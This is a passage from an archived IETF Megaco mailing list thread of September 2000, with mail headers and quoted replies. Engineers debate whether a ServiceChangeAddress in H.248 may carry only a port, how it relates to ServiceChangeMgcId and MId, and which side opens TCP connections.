> > > > > > > > > Suppose all you want to specify in a
> > ServiceChangeAddress
> > > > > > > > is a port number
> > > > > > > > > that is, the IP address doesn't change, but the
> > port does.
> > > > > > > > >
> > > > > > > > > The ABNF sez:
> > > > > > > > > serviceChangeAddress =
> > ServiceChangeAddressToken EQUAL VALUE
> > > > > > > > >
> > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > >
> > > > > > > > > The example shows just a port number.
> > > > > > > >
> > > > > > > > Actually, I thought that's all that would be
> > allowed in the
> > > > > > > > case of IP. If
> > > > > > > > not, how can it be within the "context of the
> association
> > > > > > > > currently being
> > > > > > > > negotiated", and how would it then relate to
> > ServiceChangeMgcId
> > > > ?
> > > > > > > >
> > > > > > > > -- Flemming
> > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > Should that be legal?  Should you have to
> specify the IP
> > > > address
> > > > > > > > > as x.x.x.x:p?
> > > > > > > > >
> > > > > > > > > Brian
> > > > > > > >
> > > > > > > > --
> > > > > > > > Flemming Andreasen
> > > > > > > > Cisco Systems
> > > > > > > >
> > > > > > > >
> > > > > >
> > > > > > --
> > > > > > Flemming Andreasen
> > > > > > Cisco Systems
> > > > > >
> > > > > >
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 15:40:49 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12539
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 15:40:46 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90479@standards.nortelnetworks.com>; Tue, 5 Sep 2000 15:27:04 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17807 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 15:27:04 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90478@standards.nortelnetworks.com>; Tue, 5 Sep 2000 15:27:02
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e85Ji9H20422; Tue, 5
          Sep 2000 12:44:09 -0700 (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id MAA29939; Tue, 5 Sep
          2000 12:39:36 -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L64TQ>; Tue, 5 Sep 2000 12:31:52 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5D9FB430@aega.trillium.com>
Date:         Tue, 5 Sep 2000 12:31:44 -0700
Reply-To: Bharat Kaul <bharat@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Bharat Kaul <bharat@TRILLIUM.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-cc:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>,
              Tom-PT Taylor <taylor@NORTELNETWORKS.COM>,
              Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

It could be arbitrary string and then we have to come up with algorithms to
keep those strings unique. domain_name/IPAddress [port] provides a way to do
that. So, we can treat MID just as an identifier of the source entity and
not attach with transport connection details.

The reasoning seems to be to keep MID and (ServiceChangeAddress or
ServiceChangeMgcId) as same or rather not have two separate things. But I
think these two might actually gives us the flexibility. On MGC side, MID
could be a global identifier for that MGC whereas it uses either
(ServiceChangeAddress or ServiceChangeMgcId) as a means to redirect. It
enables MID for that MGC to remain constant across all MGs and not per MG.

On MG side, for virtual MG implementations, ServiceChangeAddress is a
convenient way of request a MGC to communicate at a specific port with the
MG. Although same can be achieved with ServiceChangeMgcId (we will have to
name it as something else then).

However, I agree with Brian that using ServiceChangeMgcId instead of address
is more convenient for TCP and SCTP and has no impact on UDP.
ServiceChangeAddress does have extra complications to be managed.


While we are at sorting transport issues, I would like to have one issue
clarified. Does MGC ever initiate TCP/SCTP connections ? So far the
reasoning and conclusions on the mailing list gave me the impression that MG
always initiates connections and MGC never does.
I have always heard "it would be pretty unusual/unlikely to specify
ServiceChangeAddress by an MG for a TCP transport". I agree with and would
like the implementors guide to rule out this option.

Clarifying this would put to rest what can be specified in
ServiceChangeAddress or ServiceChangeMgcId with what transport.

- Bharat

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
Sent: Tuesday, September 05, 2000 12:16 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Supplying only a port on a ServiceChangeAddress


I think we agree that MId is just an identifier of a peer in a control
session.  I still ask myself why we defined it to be an address rather than
an arbitrary string.  I suspect we changed intentions since it first showed
up.

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> Sent: Tuesday, September 05, 2000 3:12 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> Bharat Kaul wrote:
>
> > Hi Flemming, Brian and List,
> >
> >   ServiceChangeMGCId should be kept for contacting a new
> MGC or rather
> > establishing new control Session.
> >
> > ServiceChangeAddress is for redirection within a MGC e.g.
> MG contacts MGC at
> > a default port and based on some policy MGC wants to assign
> MG to a specific
> > port, it should send ServiceChangeAddress specifying the
> port.These two
> > semantics seem clear and fair enough.
>
> I quite frankly don't understand the need for having port as
> an identifier and
> then being able to specify another port to override it, while
> keeping the
> identifier port the same.
>
>
> >
> >
> > Port in MID should be just a tool to identify an entity
> uniquely, with one
> > requirement that MID for a control session is consistent between two
> > entities.
>
> In that case it should be called something different than a
> port, or at least be
> treated as something different.
>
> -- Flemming
>
>
> >
> >
> > - Bharat
> >
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > Sent: Tuesday, September 05, 2000 8:29 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> > Let's take a step back here and ask ourselves what we are
> trying to achieve:
> >
> > 1. We have a need to identify the entity we wish to communicate with
> > 2. We have a need to communicate with that entity.
> >
> > This is a classical naming issue that doesn't need to become overly
> > complicated. In order to get from the name in 1 to the
> address (or route) in
> > 2, you need to perform name resolution in the cases where
> the name itself is
> > not an address. For domain names, this name resolution is
> achieved by DNS,
> > for IP-addresses, it should normally be a NOP. By having both
> > ServiceChangeMGGId and ServiceChangeAddress, you are
> effectively providing
> > an alternate name resolution mechanism which overrides DNS
> and allows one
> > IP-address to map to another. We should not be doing that,
> and I also note
> > that this was probably not the authors' intent, since
> ServiceChangeAddress
> > and ServiceChangeMGCId are not both allowed in a single command.
> >
> > That still leaves open the question of exactly what
> ServiceChangeAddress
> > then is, and I believe Brian answered that earlier with his
> two proposals.
> > In a perfect world, I would prefer getting rid of
> ServiceChangeAddress, but
> > we may be beyond that. Does it make sense to allow just a
> port number then ?
> > Considering that we already allow for port in mId, port is
> part of the name
> > and for the same reasons as we shouldn't map one IP-address
> to another, we
> > shouldn't map one port to another either IMO. If the MGC
> (or MG) wants the
> > other party to talk to it on another port, it simply sends
> back another
> > ServiceChangeMGCId with that port number in it.
> >
> > -- Flemming
> >
> > "Rosen, Brian" wrote:
> >
> > > It depends on what you want to have happen.
> > >
> > > If you want the MG, on receipt of a reply with a
> ServiceChangeAddress,
> > > to tear down it's current transport connection, create a new one,
> > > and stand by for messages from the MGC, then I suppose
> you would be
> > > correct.
> > >
> > > If it was TCP (and I guess SCTP), this is pretty weird,
> because the
> > > MG established a full duplex connection, but the next message is
> > > almost certainly from the MGC.  The MGC is going to have
> to watch for
> > > this carefully, and not send messages until the new channel is up.
> > >
> > > Or, the MGC can just use ServiceChangeMid.  The MG will respond by
> > > tearing down the transport, establishing a new one, and sending
> > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > ServiceChange, at the "new" address, looks like a
> complete new start.
> > >
> > > Brian
> > >
> > > -----Original Message-----
> > > From: Christian Groves
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Sent: 9/3/00 7:38 PM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > > G'Day Brian and Flemming,
> > >
> > > I saw that the difference between when you use
> ServiceChangeAddress and
> > > ServiceChangeMid was that the ServiceChangeAddress was
> used when talking
> > > to an already contacted physical MGC. The
> ServiceChangeMid was used to
> > > contact a physically seperate MGC. So I don't see the need of
> > > disallowing anything but the port in IP as the MGC may
> have a range of
> > > addresses.
> > >
> > > Cheers, Christian
> > >
> > > "Rosen, Brian" wrote:
> > > >
> > > > I thought you might say that, I've been thinking about it
> > > > since I sent the message.
> > > >
> > > > Posing the question slightly differently, if the
> ServiceChangeAddress
> > > > can do what ServiceChangeMid can do, so why have two mechanisms?
> > > > The only difference would be the MGs actions.  If you used
> > > > ServiceChangeAddress,
> > > > the MG would not send a new ServiceChange command to
> the new address.
> > > > If you used ServiceChangeMid, it would.  The end result
> would be the
> > > same.
> > > >
> > > > We can:
> > > >         Explicitly disallow ServiceChangeAddress from
> being used to
> > > >                 change anything but IP Port when used with IP
> > > >         Get rid of one of the two of them
> > > >
> > > > I favor the former, as that is easiest, is most consistent with
> > > > history, and makes the most sense to me.  I'll note that what
> > > > we call ServiceChangeAddress used to be "port".  It got
> > > > changed when we realized "port" wouldn't make sense if it was
> > > > not an IP transport.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > I think the issue is that you can have the same MGC
> have multiple
> > > > > > IP addresses.  You accept the association, but
> change the address.
> > > > > > Say, a pool of servers appearing to be one MGC.
> > > > >
> > > > > I'm not sure I fully understand what an association is then.
> > > > > What's the
> > > > > difference/relationship between the association
> address and the
> > > > > ServiceChangeMgcId (which may itself contain an address or
> > > indirectly
> > > > > refer to a number of addresses through DNS) ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > To: Rosen, Brian
> > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > > Suppose all you want to specify in a
> ServiceChangeAddress
> > > > > > > is a port number
> > > > > > > > that is, the IP address doesn't change, but the
> port does.
> > > > > > > >
> > > > > > > > The ABNF sez:
> > > > > > > > serviceChangeAddress =
> ServiceChangeAddressToken EQUAL VALUE
> > > > > > > >
> > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > >
> > > > > > > > The example shows just a port number.
> > > > > > >
> > > > > > > Actually, I thought that's all that would be
> allowed in the
> > > > > > > case of IP. If
> > > > > > > not, how can it be within the "context of the association
> > > > > > > currently being
> > > > > > > negotiated", and how would it then relate to
> ServiceChangeMgcId
> > > ?
> > > > > > >
> > > > > > > -- Flemming
> > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > Should that be legal?  Should you have to specify the IP
> > > address
> > > > > > > > as x.x.x.x:p?
> > > > > > > >
> > > > > > > > Brian
> > > > > > >
> > > > > > > --
> > > > > > > Flemming Andreasen
> > > > > > > Cisco Systems
> > > > > > >
> > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
>
> --
> Flemming Andreasen
> Cisco Systems
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 16:03:54 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA12829
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 16:03:52 -0400 (EDT)
Received: from standards (47.234.32.16:3160) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB904BB@standards.nortelnetworks.com>; Tue, 5 Sep 2000 15:49:57 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17885 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 15:49:57 -0400
Received: from qhars002.nortel.com (47.101.112.102:57761) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB904B9@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          15:49:56 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Tue, 5 Sep 2000 21:02:44 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Tue, 5 Sep 2000 13:51:44 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC01VL>; Tue, 5 Sep 2000 13:48:54 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D0C@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 13:48:43 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Addressing For Control
X-To:         Mukesh Goel <mukesh@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

We have agreed that MGC-initiated control sessions are not part of H.248v1.
I am pointing out that this does not prevent the MG from requesting the MGC
to set up a TCP connection to the MG.  It does not particularly make sense
for the MG to do so, but it is a possibility within the existing procedures.

> -----Original Message-----
> From: Mukesh Goel [mailto:mukesh@TRILLIUM.COM]
> Sent: Tuesday, September 05, 2000 1:23 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Addressing For Control
>
>
> Hi Tom, List,
>
> Please find my comments below.
>
> Regards,
> Mukesh Goel
>
> >-----Original Message-----
> >From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> >Sent: Monday, September 04, 2000 5:52 PM
> >To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> >Subject: Re: Addressing For Control
> >> MG-Originated ServiceChange
> >> ===========================
> >>
> >>
> >> 4. If the MG issues a ServiceChange on ROOT, the
> >> ServiceChangeAddress MAY be
> >> present in the request.  If so, it provides the address to
> >> which the MGC is
> >> meant to send all requests that it issues within the
> current control
> >> session.  Where TCP is in use, this means the following
> >> sequence will occur:
> >>
> >>    (a) MG sends ServiceChange from TCP addr:port A, containing
> >> ServiceChangeAddress equal to addr:port B (understood to be
> >> TCP because the
> >> original contact was via TCP).
> >>
> >>    (b) MGC sends its response on the TCP connection to addr:port A.
> >>
> >>    (c) MGC opens up a TCP connection to addr:port B and sends
> >> all subsequent
> >> requests through that connection.  The MG returns its
> >> responses to the MGC's
> >> requests through the same connection.
> >>
> >> [[[[ BHARAT  ]]]]]]
> >>
> >> I don't think (c) should be an option. First because of security
> >> arrangements, secondly because MGs already have a capability
> >> of initiating
> >> connections and let them keep on
> >> doing so. This need not be part of MGCs. Also, I can't see
> >> why MG would want
> >> to specify
> >> a ServiceChange Address for TCP. It might as well initiate
> >> the connection
> >> using that source transport address where it wants to
> >> communicate. I am
> >> inclined towards not having (c) as an option for TCP.(c)
> >> however is a valid
> >> option for UDP.
> >[PTT] (a), (b), and (c) are not alternatives -- they must all
> >happen IF the
> >MG sends a ServiceChangeAddress on a TCP connection.  If one
> >doesn't want to
> >support that sort of behaviour then one's MG should be
> designed not to
> >initiate it.  I suppose that as a stack provider you may find
> >yourself in an
> >awkward position on this, but you'll have to work it out with your
> >customers.
>
> [MUKESH]
> The MGC initiated TCP connection issue has been discussed on the list
> quite a few times and always the conclusion was that MG does
> not maintain
> TCP servers (only MGC does), so the responsibility to
> initiate a connection
> setup is of MG.
>
> Are we allowing MGC to setup a TCP connection towards MG?
>
> I think we need to come up with explanation of what is our stand w.r.t
> TCP as a transport. A "text" regarding this in an
> implementation guide would
> help.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 16:03:55 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA12838
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 16:03:54 -0400 (EDT)
Received: from standards (47.234.32.16:3160) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB904BF@standards.nortelnetworks.com>; Tue, 5 Sep 2000 15:49:58 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17890 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 15:49:57 -0400
Received: from qhars002.nortel.com (47.101.112.102:57761) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB904BA@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          15:49:57 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Tue, 5 Sep 2000 21:02:46 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Tue, 5 Sep 2000 14:34:45 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC0GYN>; Tue, 5 Sep 2000 14:32:20 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D11@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 14:30:44 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Actually, we should bear in mind that there are actually two different
control streams operating within any session: MGC-initiated requests and the
responses to them, and MG-initiated requests and the responses to them.  The
MG has to send its responses back to the address from which the MGC sent its
requests.  ServiceChangeAddress only affects where the MG/MGC sends its
requests.  Theoretically either end can change its point of origin for the
requests it sends at any time without the need for a ServiceChange -- the
latter only controls where those requests get sent to.  It's going to take
interoperability agreements or profiles to curb this.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Tuesday, September 05, 2000 3:14 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> >You accept the principle that ServiceChangeMgcId implies a new
> >control session.  All else is implementation :-)
> Sure, I'm arguing that establishing a new control session is
> low cost, and maintaining the current one is more expensive at
> the MGC, and it doesn't matter much either way for the MG.
>
> >Mind, as I see it, ServiceChangeMgcId implies the same burden
> >at the transport level as ServiceChangeAddress, PLUS the
> >application-level ServiceChange transaction.
> No matter what, the MG has to tear down the transport connection
> It's what the MGC has to do.
>
> If it tries to maintain the current association, it has to keep
> track of the change in transport connections, holding off any
> messages until the MG has the new transport up, and then,
> without the MG sending something, it sends a message (probably
> Audit) to the MG on the new transport.
>
> I think it's much easier to punt the current control association
> and have both start over again.
>
> Brian
> > -----Original Message-----
> > From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > Sent: Tuesday, September 05, 2000 2:58 PM
> > To: Taylor, Tom-PT [NORSE:B901:EXCH];
> > MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: RE: Supplying only a port on a ServiceChangeAddress
> >
> >
> > The question I'm still left with is how you would actually
> > achieve less overhead, given that the MG has to take the
> > transport connection down, and the MGC has to watch that happen.
> >
> > I suspect that there is MORE work for the MGC to do that,
> > rather than just tell the MG to create a new association.
> > Remember that there is virtually no state that could be saved
> > from the first ServiceChange, so that starting over is
> > pretty low cost.
> >
> > The real cost is the MG sending another ServiceChange and the
> > MG replying -- that's dirt cheap.  The cost of keeping the
> > association, but changing the transport connection, seems
> > more work to me. I'll admit that with UDP, that cost is
> > close to zero also -- it's TCP (and SCTP) that has real cost.
> >
> > Brian
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Tuesday, September 05, 2000 2:38 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> > As I noted in one or two previous messages,
> > ServiceChangeMgcId has higher
> > overhead than ServiceChangeAddress in that it implies a new
> > control session.
> > That is, the MG has to send a ServiceChange to the new
> > address before it can
> > send anything else.
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > > Sent: Tuesday, September 05, 2000 11:29 AM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > Let's take a step back here and ask ourselves what we are
> > > trying to achieve:
> > >
> > > 1. We have a need to identify the entity we wish to
> > communicate with
> > > 2. We have a need to communicate with that entity.
> > >
> > > This is a classical naming issue that doesn't need to
> become overly
> > > complicated. In order to get from the name in 1 to the
> > > address (or route) in
> > > 2, you need to perform name resolution in the cases where the
> > > name itself is
> > > not an address. For domain names, this name resolution is
> > > achieved by DNS,
> > > for IP-addresses, it should normally be a NOP. By having both
> > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > > effectively providing
> > > an alternate name resolution mechanism which overrides DNS
> > > and allows one
> > > IP-address to map to another. We should not be doing that,
> > > and I also note
> > > that this was probably not the authors' intent, since
> > > ServiceChangeAddress
> > > and ServiceChangeMGCId are not both allowed in a single command.
> > >
> > > That still leaves open the question of exactly what
> > > ServiceChangeAddress
> > > then is, and I believe Brian answered that earlier with his
> > > two proposals.
> > > In a perfect world, I would prefer getting rid of
> > > ServiceChangeAddress, but
> > > we may be beyond that. Does it make sense to allow just a
> > > port number then ?
> > > Considering that we already allow for port in mId, port is
> > > part of the name
> > > and for the same reasons as we shouldn't map one IP-address
> > > to another, we
> > > shouldn't map one port to another either IMO. If the MGC (or
> > > MG) wants the
> > > other party to talk to it on another port, it simply sends
> > > back another
> > > ServiceChangeMGCId with that port number in it.
> > >
> > > -- Flemming
> > >
> > >
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > It depends on what you want to have happen.
> > > >
> > > > If you want the MG, on receipt of a reply with a
> > > ServiceChangeAddress,
> > > > to tear down it's current transport connection, create
> a new one,
> > > > and stand by for messages from the MGC, then I suppose
> > you would be
> > > > correct.
> > > >
> > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > because the
> > > > MG established a full duplex connection, but the next message is
> > > > almost certainly from the MGC.  The MGC is going to have to
> > > watch for
> > > > this carefully, and not send messages until the new
> > channel is up.
> > > >
> > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> > respond by
> > > > tearing down the transport, establishing a new one, and sending
> > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > ServiceChange, at the "new" address, looks like a complete
> > > new start.
> > > >
> > > > Brian
> > > >
> > > > -----Original Message-----
> > > > From: Christian Groves
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Sent: 9/3/00 7:38 PM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > > G'Day Brian and Flemming,
> > > >
> > > > I saw that the difference between when you use
> > > ServiceChangeAddress and
> > > > ServiceChangeMid was that the ServiceChangeAddress was used
> > > when talking
> > > > to an already contacted physical MGC. The ServiceChangeMid
> > > was used to
> > > > contact a physically seperate MGC. So I don't see the need of
> > > > disallowing anything but the port in IP as the MGC may have
> > > a range of
> > > > addresses.
> > > >
> > > > Cheers, Christian
> > > >
> > > > "Rosen, Brian" wrote:
> > > > >
> > > > > I thought you might say that, I've been thinking about it
> > > > > since I sent the message.
> > > > >
> > > > > Posing the question slightly differently, if the
> > > ServiceChangeAddress
> > > > > can do what ServiceChangeMid can do, so why have two
> > mechanisms?
> > > > > The only difference would be the MGs actions.  If you used
> > > > > ServiceChangeAddress,
> > > > > the MG would not send a new ServiceChange command to the
> > > new address.
> > > > > If you used ServiceChangeMid, it would.  The end result
> > > would be the
> > > > same.
> > > > >
> > > > > We can:
> > > > >         Explicitly disallow ServiceChangeAddress from
> > > being used to
> > > > >                 change anything but IP Port when used with IP
> > > > >         Get rid of one of the two of them
> > > > >
> > > > > I favor the former, as that is easiest, is most
> consistent with
> > > > > history, and makes the most sense to me.  I'll note that what
> > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > changed when we realized "port" wouldn't make sense if it was
> > > > > not an IP transport.
> > > > >
> > > > > Brian
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > To: Rosen, Brian
> > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > >
> > > > > > > I think the issue is that you can have the same MGC
> > > have multiple
> > > > > > > IP addresses.  You accept the association, but change
> > > the address.
> > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > >
> > > > > > I'm not sure I fully understand what an association is then.
> > > > > > What's the
> > > > > > difference/relationship between the association
> > address and the
> > > > > > ServiceChangeMgcId (which may itself contain an address or
> > > > indirectly
> > > > > > refer to a number of addresses through DNS) ?
> > > > > >
> > > > > > -- Flemming
> > > > > >
> > > > > >
> > > > > > >
> > > > > > >
> > > > > > > Brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > To: Rosen, Brian
> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > Subject: Re: Supplying only a port on a
> > ServiceChangeAddress
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > "Rosen, Brian" wrote:
> > > > > > > >
> > > > > > > > > Suppose all you want to specify in a
> > ServiceChangeAddress
> > > > > > > > is a port number
> > > > > > > > > that is, the IP address doesn't change, but the
> > port does.
> > > > > > > > >
> > > > > > > > > The ABNF sez:
> > > > > > > > > serviceChangeAddress = ServiceChangeAddressToken
> > > EQUAL VALUE
> > > > > > > > >
> > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > >
> > > > > > > > > The example shows just a port number.
> > > > > > > >
> > > > > > > > Actually, I thought that's all that would be
> > allowed in the
> > > > > > > > case of IP. If
> > > > > > > > not, how can it be within the "context of the
> association
> > > > > > > > currently being
> > > > > > > > negotiated", and how would it then relate to
> > > ServiceChangeMgcId
> > > > ?
> > > > > > > >
> > > > > > > > -- Flemming
> > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > Should that be legal?  Should you have to
> > specify the IP
> > > > address
> > > > > > > > > as x.x.x.x:p?
> > > > > > > > >
> > > > > > > > > Brian
> > > > > > > >
> > > > > > > > --
> > > > > > > > Flemming Andreasen
> > > > > > > > Cisco Systems
> > > > > > > >
> > > > > > > >
> > > > > >
> > > > > > --
> > > > > > Flemming Andreasen
> > > > > > Cisco Systems
> > > > > >
> > > > > >
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> > >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 17:54:29 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14582
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 17:54:28 -0400 (EDT)
Received: from standards (47.234.32.16:4573) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9054C@standards.nortelnetworks.com>; Tue, 5 Sep 2000 17:39:53 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18079 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 17:39:52 -0400
